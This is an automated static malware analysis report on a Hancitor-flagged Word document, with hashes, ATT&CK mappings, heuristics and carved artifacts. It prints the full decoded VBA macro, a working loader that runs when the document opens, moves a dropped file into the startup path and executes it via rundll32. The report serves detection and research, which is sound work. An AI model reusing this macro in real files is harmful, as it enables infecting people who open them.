Win.Packed.Hancitor-9868784-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 36d1a1d99b26614c…

MALICIOUS

Office (OLE)

885.5 KB Created: 2021-05-31 08:54:00 Authoring application: Microsoft Office Word First seen: 2021-06-13
MD5: d5977658076265d4ae6c54e9c2dc03ab SHA-1: 3e80ddef5c21f96658b1d8b131d454e3685ba463 SHA-256: 36d1a1d99b26614c9c668d5fa5b8948aa45b164c9da2cbf67a10df38787d1339
510 Risk Score

Malware Insights

Win.Packed.Hancitor-9868784-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open subroutine that executes a Shell command. This command uses 'rundll32.exe' to execute a file named 'ket.t' located in the startup path, which is likely a second-stage payload. The embedded executable artifact and ClamAV detection further support its malicious nature. The macro also attempts to search for and rename a file named 'jax.k' from the temporary directory to 'ket.t' in the startup path.

Heuristics 13

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Win.Packed.Hancitor-9868784-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Packed.Hancitor-9868784-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("rundl" & "l32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,YAKNPEPKBPI")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set FSO = CreateObject("Scripting.FileSystemObject")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1650 bytes
SHA-256: d8890572aaa639658f37408a9e5398e7edb2791909f68499ba70c446096a0c55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Compare Text
Option Explicit
Dim pafs As String

Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdStartupPath)
Dim xc
xc = "texmp"
If Dir(vcbc & "\ket.t") = "" Then
Call yyy

Call xxx

If Len(pafs) > 2 Then

Call nam(pafs)

Dim ued As String
ued = ".exe"



Shell ("rundl" & "l32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,YAKNPEPKBPI")
End If
End If
End Sub
Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
End Sub
Sub xxx()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
 Dim FSO As Object
   Set FSO = CreateObject("Scripting.FileSystemObject")
Search FSO.GetFolder(usx)
End Sub


 
 Sub Search(mds As Object)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "jax.k" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Attribute VB_Name = "Module1"
Sub nam(pafs As String)
Name pafs As Options.DefaultFilePath(wdStartupPath) & "\" & "ket.t"
End Sub
embedded_office_0008ea68.exe embedded-pe Office MZ+PE at offset 0x8EA68 322456 bytes
SHA-256: 0ee267490c02d18c6653d3592c2223c6a7b77b5100ee70bd7619dfcf1fcd7642
Detection
ClamAV: Win.Packed.Hancitor-9868784-0
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1683931381/Ole10Native 292634 bytes
SHA-256: aeba2a4003b74dcba3609af70ff9fde388b025d664bc43ed5988abe3ca143b81
Detection
ClamAV: Win.Packed.Hancitor-9868784-0
Obfuscation or payload: unlikely
ole10native_00_jax.k ole-package-payload OLE Ole10Native payload: ObjectPool/_1683931381/Ole10Native; display_name=jax.k; full_path=C:\Users\MyPc\AppData\Local\Temp\jax.k; temp_path=; def_file= 292352 bytes
SHA-256: c6b741a2b74b8a16120ac09ea5e5e580d783fbc4978c5026dc8cbc51975b5814
Detection
ClamAV: Win.Packed.Hancitor-9868784-0
Obfuscation or payload: unlikely